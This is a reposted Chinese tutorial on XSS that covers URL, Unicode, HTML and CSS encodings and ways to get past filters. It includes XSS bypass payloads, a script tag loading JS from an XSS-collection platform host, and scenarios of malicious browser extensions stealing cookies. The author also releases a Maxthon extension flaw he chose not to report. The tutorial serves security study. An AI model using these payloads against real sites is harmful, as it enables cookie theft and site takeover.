[轉]XSS的原理分析與解剖：第四章（編碼與繞過）

0×01前言

很抱歉，這第四章被我推了幾個月，今天是元旦可貴有空，就把第四章寫下。我先把主要使用的編碼說下，介紹完會說下繞過。

本文建議與《雜談如何繞過WAF》一同閱讀。

0×02 URL編碼

URL只容許用US-ASCII字符集中可打印的字符(0×20—0x7x)，其中某些字符在HTTP協議裏有特殊的意義，因此有些也不能使用。這裏有個須要注意的，+加號表明URL編碼的空格，%20也是。

URL編碼最長見的是在用GET/POST傳輸時，順序是把字符改爲%+ASCII兩位十六進制(先把字符串轉成ASCII編碼，而後再轉成十六進制)。

這個在編碼DOM XSS可能會用到，好比我上次說的

http://www.freebuf.com/articles/web/42727.html 0×04節DOM XSS 在chrome maxthon firefox裏對URL裏的a=後面的字節進行了URL進行編碼，只能在360瀏覽器裏成功，這就是瀏覽器對URL進行了URL編碼。

0×03 unicode編碼

Unicode有1114112個碼位，也就是說能夠分配1114112個字符。Unicode編碼的字符以%u爲前綴，後面是這個字符的十六進制unicode的碼點。

Unicode編碼之因此被本文提到，由於有的站點過濾了某些字符串的話，可是發現這個站點在後端驗證字符串的時候，識別unicode編碼，那咱們就能夠把咱們的攻擊代碼來改爲unicode編碼形式，就能夠繞過站點的過濾機制了。

0×04 HTML編碼

HTML編碼的存在就是讓他在代碼中和顯示中分開， 避免錯誤。他的命名實體：構造是&加上希臘字母，字符編碼：構造是&#加十進制、十六進制ASCII碼或unicode字符編碼，並且瀏覽器解析的時候會先把html編碼解析再進行渲染。可是有個前提就是必需要在「值」裏，好比屬性src裏，但卻不能對src進行html編碼。否則瀏覽器沒法正常的渲染。

例如：

<img src=logo.png/>

　　

能夠正常顯示。

可是當你把src或者img進行html編碼就不行了，例如：

<img src=logo.png/>

　　

0×05 CSS編碼

這個不是太經常使用。就是/斜槓加上1-6位十六進制

以前在IE5以前均可以用expression來調用js時，這個編碼頗有用。 如今大多都是用於CSS小圖標。

0×06 假設

網站檢測script標籤裏的src值是否爲網站(關鍵字有http&https&com&cn&net&&js)

那咱們該怎麼繞過呢，看下面的實例代碼：

<script
src="http://xss8.pw/bgFfBx?1419229565"></script>

　　打開審查元素——網絡，咱們成功的看到了咱們的JS被加載了

XSS平臺裏也獲取到了。

0×06 常見的繞過方式

<sCrIpt>alert(1)</script>
<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>
<scr<script>rip>alalertert</scr</script>rip> (須要利用waf的不完整性)
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>

　　

標籤屬性="javascript:JS代碼"(只對支持js僞協議的屬性起做用)

<標籤 on事件="js代碼">

<script
woaini>
alert(123)
</script
woaini>

　　

瀏覽器下會把換行 TAB符當成空格，把後面的字符當作屬性來解析

等等，還有不少，其實本章說的不是太多。乾乾貨也少的可憐。沒辦法我以前說的「雜談繞過WAF」裏說的太詳細了，該說的都說了。我也不知道該說些什麼。看看下一節吧，還有些乾貨。XSS繞過方面網上的資料太多太多了。想要說一些別人沒說的很難。也有，只不過在http://www.freebuf.com/articles/web/54686.html 裏說完了…

0×07 插件安全

這節本是不屬於本章的，因此說這節我是特地拿出來的。也是在這裏我但願你們今後注意下瀏覽器插件方面的安全問題。

我以前在《雜談如何繞過WAF》一文裏 還有如今朋友交流的時候我也屢次說過。

即便你網站作的再安全，WAF再怎麼完整。我利用插件照樣能夠繞過。插件的有它的特殊性，也是這個特殊性成就了他的安全問題，那就是「跨域」。

我在裏說下插件是如何渲染到頁面的：

用戶打開網站——發送數據包——服務器響應併發送Response包——瀏覽器收到Response包——渲染(先渲染Response包，再渲染插件的代碼)

　　

也就是說我在插件裏寫了一段js，那麼用戶安裝後，凡是打開網站。瀏覽器渲染後，就能夠獲取用戶的cookies。若是攻擊者事先有準備，還能夠利用csrf攻擊。這裏咱們大膽假設下：

假設1：攻擊者把XSS代碼封裝到插件裏，上傳到瀏覽器插件下載網站(管理不嚴，管理員根本不可能一行一行代碼看)，上傳成功後。用戶下載，並安裝。那麼攻擊者就能夠坐在電腦前，喝着咖啡，看着不斷刷新的xss數據流…

假設2：攻擊者擁有dedecms的csrf(能夠添加管理員)，後面的和假設1同樣。當網站管理員不當心安裝或者使用了帶有插件瀏覽器，網站就會被攻擊者控制。有些人會問，概率那麼小，怎麼可能跑到我身上。是不太可能跑到你身上，卻是有可能跑到其餘站長身上，當你想一想中國站長有多少時，相信你就會明白了

假設3：攻擊者擁有某個瀏覽器插件的XSC漏洞，再結合插件安全問題，就能夠實現用戶打開某個網站，就會被不知不覺中安裝插件，有些人會說，有XSC我就直接執行任意代碼了，誰還蛋疼式的去安裝插件。若是攻擊者想隱蔽式的攻擊呢？並且控制電腦獲取cookies我想這個應該比直接安裝插件更加麻煩吧？固然攻擊者也能夠兩個同時進行。

固然了，也有不少人會說，我安裝安全健康綠色無污染的插件不就不怕了嗎。

樓主說的十分有理，只不過你忽視了插件自己的安全問題，我以前所說的都是利用插件的特殊性來完成攻擊，但是我並無說插件自己的安全。

這時恐怕又有人質疑了，插件即便不安全，那也須要用戶輸入特殊的字符串裏完成攻擊，你這不就是在本身插本身麼。

我所說的插件安全問題指的不是這，而是控制插件的數據流。由於插件的安全問題自己就沒多大的利用價值，大多數時候都是本身插本身。

假設有一個在線翻譯的插件，鼠標滑詞，自動翻譯。而這個技術就須要利用到AJAX，而AJAX利用的就是廠商提供的API，而API不少時候都在二級域名，安全性相對來講就比較低了。若是控制API了，那麼就能夠控制API發送給插件的數據流，從而達到攻擊。

流程圖就是下面這樣：

黑客發現插件調取的API網站安全漏洞——重寫了發送的數據包——插件獲取被重寫API數據——解析並把惡意代碼渲染到頁面——攻擊成功。

　　

固然了，不止API，有的插件還調用了外部的JS、CSS、iframe(HTML)等，咱們也能夠控制他們裏來完成攻擊。

爲了讓你們感到插件問題是時候注意下了，我放出一個小漏洞吧，以前在JSEC沙龍演示過的。危害不算太大，不過讓你們今後注意插件問題應該夠了。

雙擊ceshi.mxaddon文件就好了(須要安裝遨遊瀏覽器)。ceshi目錄裏是源代碼，def.json是遨遊插件漏洞(打開遨遊插件管理頁面，就會彈窗。Test.js也就是我這節說的。當你打開任何網站的時候，他都會彈窗)。

誰想提交就提交吧，固然我相信這時候遨遊安全團隊已經看到並修復了。我就喜歡看一羣黑客和修復漏洞人員互相比速度。相信這時有人開始罵我了。沒辦法，我就是不喜歡提交，任性。